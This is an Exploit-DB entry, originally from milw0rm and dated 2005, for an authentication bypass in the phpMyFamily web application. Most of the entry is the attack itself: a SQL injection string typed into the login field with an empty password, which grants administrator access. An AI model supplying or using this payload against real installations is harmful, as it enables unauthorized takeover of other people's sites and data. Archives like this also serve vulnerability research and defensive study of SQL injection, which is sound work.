phpMyFamily 1.4.0 - Authentication Bypass

EDB-ID:

892


Author:

kre0n

Type:

webapps


Platform:

PHP

Date:

2005-03-21


# Tested with version 1.2.5 /str0ke

Login as admin without pass:

Login: "' OR 'a'='a' AND admin='Y'/*" (without quotes)
Password: (empty)

# milw0rm.com [2005-03-21]